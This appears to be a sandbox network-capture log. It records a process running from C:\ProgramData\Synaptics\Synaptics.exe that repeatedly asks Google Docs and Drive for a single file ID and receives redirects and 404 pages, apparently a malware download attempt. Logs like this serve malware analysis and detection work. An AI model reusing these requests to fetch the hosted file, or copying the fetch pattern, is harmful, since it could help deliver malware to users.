2025-01-02 19:11:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:04 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-utPElsb9FLN2906IwK6lvg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	56050	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:05 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:05 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6aLGlFwnbU8CzMzBcZOdtfGPW-ctbXMOTRreiBQgPVMv0-wwUewPWL7hcIkKZlUo66 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:05 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-02j95lyZrbpsbgKzl3Tm0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:05 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:05 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 43 4a 62 44 65 6a 41 73 4a 47 6d 72 70 76 5f 6e 45 46 72 61 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="CCJbDejAsJGmrpv_nEFraw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:05 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	56051	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:05 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
2025-01-02 19:11:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-o2ObqHs_KDr2ml0zekx9VA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	56053	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:05 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:06 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC59NMmnqJ4Njn4s9odEsZy6RUBwIk9KBTeNyWKnMcOIXMXF0R16KkT2A56Hreo2xKuya6naDTA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:05 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-qR-VxN_JTLfRe4h_q6ie1g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:06 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:06 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4a 37 64 7a 6e 75 63 77 72 6a 70 69 72 4f 33 31 77 49 6e 52 4c 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="J7dznucwrjpirO31wInRLA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:06 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	56052	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:05 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-THwCHbCYs8yAyyNkRE3_tQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	56056	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:06 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:06 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:06 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-GV7TBoruAP_xk_XUsewTjQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	56058	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:06 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:06 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:06 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-b2tiibIhViOCQto1VK0Gww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	56057	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:06 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:06 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6faMFzcJhwBdeMuZ30l3Tp3QdUAExT_pJFvGm13DbllEOO7D9m2lVqYLDAerO0Hk6nLMkUx2Y Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:06 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-yyLZQzSRaDZpLCXnbzb6mw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:06 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:06 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 36 45 49 35 65 66 41 4a 69 5a 47 69 58 37 57 76 39 75 52 38 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="T6EI5efAJiZGiX7Wv9uR8A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:06 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	56059	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:06 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:07 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC604BPnlbHf8jKGlZKVfICGRIz61CBH_BqO47pFgl_40hxNI8-Oj2mXi4Xb6zt3F_Nf Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:07 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-Mu0vGiSSzzynKJS3eCQ5aw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
